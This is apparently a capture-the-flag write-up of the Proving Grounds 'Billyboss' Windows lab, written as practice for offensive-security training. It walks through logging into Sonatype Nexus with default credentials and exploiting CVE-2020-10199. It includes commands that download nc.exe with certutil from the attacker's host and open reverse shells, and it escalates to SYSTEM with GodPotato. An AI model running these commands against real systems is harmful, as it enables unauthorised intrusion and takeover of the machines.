Billyboss

Proving Grounds PracticeMediumWindows192.168.180.61

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#nexus#cve-2020-10199#default-credentials#authenticated-rce#seimpersonate#godpotato#token-impersonation#oscp

TL;DR. Billyboss exposes Sonatype Nexus Repository Manager 3.21.0 on 8081. We log in with default credentials (nexus/nexus) and fire the authenticated RCE CVE-2020-10199, landing as nathan. The account holds SeImpersonatePrivilege, so with GodPotato (SeImpersonate abuse, GodPotato) we impersonate the SYSTEM token and gain NT AUTHORITY\SYSTEM.

Recon

Initial scan

The reply TTL 125 → Windows: Windows starts the TTL at 128 and each routing hop decrements it, so 125 = 128−3; a hint, not proof (it can be spoofed), confirmed by the service scan. Among the open ports, an IIS, an FTP and a Jetty stand out:

ping -c 1 192.168.180.61
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.180.61

PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
445/tcp  open  microsoft-ds
8081/tcp open  http

nmap -p21,80,135,139,445,5040,8081 -sCV 192.168.180.61 -oN targetedScan

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         Microsoft ftpd
80/tcp   open  http        Microsoft IIS httpd 10.0
|_http-title: BaGet
445/tcp  open  microsoft-ds
8081/tcp open  http        Jetty 9.4.18.v20190429
|_http-server-header: Nexus/3.21.0-05 (OSS)
|_http-title: Nexus Repository Manager

Port 80 is a BaGet (NuGet server) with no login showing packages, and 8081 a Nexus Repository Manager. Nexus is the vector.

Nexus - TCP 8081

The panel header identifies Sonatype Nexus Repository Manager OSS 3.21.0-05:

Nexus Repository Manager OSS 3.21.0-05 landing page with the Sign in button, unauthenticated

We try default credentials: we look up Nexus's in SecLists and default-passwords.csv lists nexus/nexus (and admin/admin123):

grep -ri 'sonatype nexus' /usr/share/seclists

grep in SecLists: default-passwords.csv includes Sonatype Nexus with nexus,nexus and admin,admin123

/usr/share/seclists/Passwords/Default-Credentials/default-passwords.csv:Sonatype Nexus Repository Manager,admin,admin123,https://help.sonatype.com/repomanager2/maven-and-other-build-tools/sbt
/usr/share/seclists/Passwords/Default-Credentials/default-passwords.csv:Sonatype Nexus Repository Manager,nexus,nexus,

In Nexus's Sign In dialog we enter nexus/nexus:

Nexus Sign In dialog with the nexus user and the password filled in

The session opens: the panel confirms "User signed in: nexus":

Logged into Nexus as the nexus user with default credentials

Sonatype Nexus Repository Manager   OSS 3.21.0-05
Welcome - Learn about Sonatype Nexus Repository Manager
User signed in: nexus

searchsploit confirms this version carries an authenticated RCE:

searchsploit sonatype nexus

Sonatype Nexus 3.21.1 - Remote Code Execution (Authenticated) | java/webapps/49385.py  (CVE-2020-10199)

Exploitation

CVE-2020-10199: authenticated RCE

CVE-2020-10199 is an expression injection that, with a valid session, runs commands on the server. With Penelope listening on 4444:

penelope 4444

We edit the exploit with the URL, the nexus/nexus credentials and a command that downloads nc.exe with certutil and opens a reverse shell:

# In exp.py:
# CMD='cmd.exe /c certutil -urlcache -f http://192.168.45.211/nc.exe nc.exe && nc.exe -e cmd 192.168.45.211 4444'
python3 exp.py

The Nexus RCE downloads nc.exe and returns a shell as nathan

Logging in
Logged in successfully
Command executed
[+] Got reverse shell from BILLYBOSS~192.168.180.61-Microsoft_Windows_10_Pro-x64  Assigned SessionID <1>
C:\Users\nathan\Nexus\nexus-3.21.0-05>whoami
billyboss\nathan

We get execution as billyboss\nathan.

Local

type Desktop\local.txt & whoami & ipconfig & hostname

local.txt read as nathan on billyboss

8bf40ce3240f2089e22573df37634dac
billyboss\nathan

Privilege escalation

SeImpersonatePrivilege with GodPotato

whoami /priv reveals that nathan has SeImpersonatePrivilege enabled. It's the typical privilege of service accounts and allows impersonating the token of a client that authenticates against us; the Potato family of exploits turns it into SYSTEM (SeImpersonate abuse):

whoami /priv

whoami /priv shows SeImpersonatePrivilege enabled for nathan

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                Enabled

SeImpersonatePrivilege shows as Enabled. We check the installed .NET version via the registry to pick the right binary: the NDP key shows v4.8.03752 (TargetVersion 4.0.0), so we will use the GodPotato-NET4.exe variant:

Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -Recurse

The NDP registry shows .NET Framework v4, TargetVersion 4.0.0 and Version 4.8.03752

    Hive: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP

Name                 Property
----                 --------
v4

    Hive: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4

Name                 Property
----                 --------
Client               CBS           : 1
                     Install       : 1
                     InstallPath   : C:\Windows\Microsoft.NET\Framework\v4.0.30319\
                     Release       : 528040
                     Servicing     : 0
                     TargetVersion : 4.0.0
                     Version       : 4.8.03752

We use GodPotato (repo), which forces a DCOM service to authenticate against a controlled named pipe and steals its SYSTEM token (GodPotato). We download it on Kali, rename it to gp.exe, serve it over HTTP and pull it with certutil onto the victim:

wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe
mv GodPotato-NET4.exe gp.exe
python3 -m http.server 80

certutil.exe -f -urlcache -split http://192.168.45.211/gp.exe gp.exe

wget downloads GodPotato-NET4 renamed to gp.exe and http.server serves it; certutil pulls it onto the victim

PS C:\Users\nathan\Nexus\nexus-3.21.0-05> certutil.exe -f -urlcache -split http://192.168.45.211/gp.exe gp.exe
****  Online  ****
  0000  ...
  e000
CertUtil: -URLCache command completed successfully.

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.180.61 - - [25/Jan/2026 22:20:01] "GET /gp.exe HTTP/1.1" 200 -
192.168.180.61 - - [25/Jan/2026 22:20:01] "GET /gp.exe HTTP/1.1" 200 -

Before triggering the shell, we set up an nc listener:

rlwrap nc -nlvp 4445

.\gp.exe -cmd ".\nc.exe 192.168.45.211 4445 -e cmd.exe"

$GodPotato steals the SYSTEM token and the reverse shell arrives as NT AUTHORITY\SYSTEM$

[*] CreateNamedPipe \\.\pipe\a9077654-02f5-4e73-8482-4575eff35b89\pipe\epmapper
[*] Trigger RPCSS
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] Start Search System Token
[*] PID : 840 Token:0x672  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] process start with pid 4116

connect to [192.168.45.211] from (UNKNOWN) [192.168.180.61] 50669
Microsoft Windows [Version 10.0.18362.719]
C:\Windows\system32>

GodPotato finds the SYSTEM token and the nc receives the shell as nt authority\system.

Root

type proof.txt & ipconfig & hostname & whoami

proof.txt read as SYSTEM on billyboss

001033b00d59f0dd332326f3d1d79178
nt authority\system

Attack chain

HTTP (8081)  --  Sonatype Nexus 3.21.0 OSS
        │  default credentials nexus/nexus
        │  CVE-2020-10199: authenticated RCE -> reverse shell
        ▼
nathan  (local.txt)
        │  SeImpersonatePrivilege -> GodPotato
        ▼
SYSTEM  (proof.txt)

Lessons learned

Default credentials still open doors. nexus/nexus gave the session that enabled the RCE; without it, the (authenticated) CVE-2020-10199 was useless. Changing factory passwords is the cheapest control and the most overlooked.
whoami /priv is the first stop on Windows. SeImpersonatePrivilege shows up on almost any service account and is a direct ticket to SYSTEM with the Potato family. Checking the token's privileges before anything else saves detours.
GodPotato generalizes the Potato trick to modern .NET. Where JuicyPotato no longer reaches, GodPotato abuses DCOM/RPC just the same. Pairing the exploit with the installed .NET version is what makes it work.

Command cheatsheet 10 commands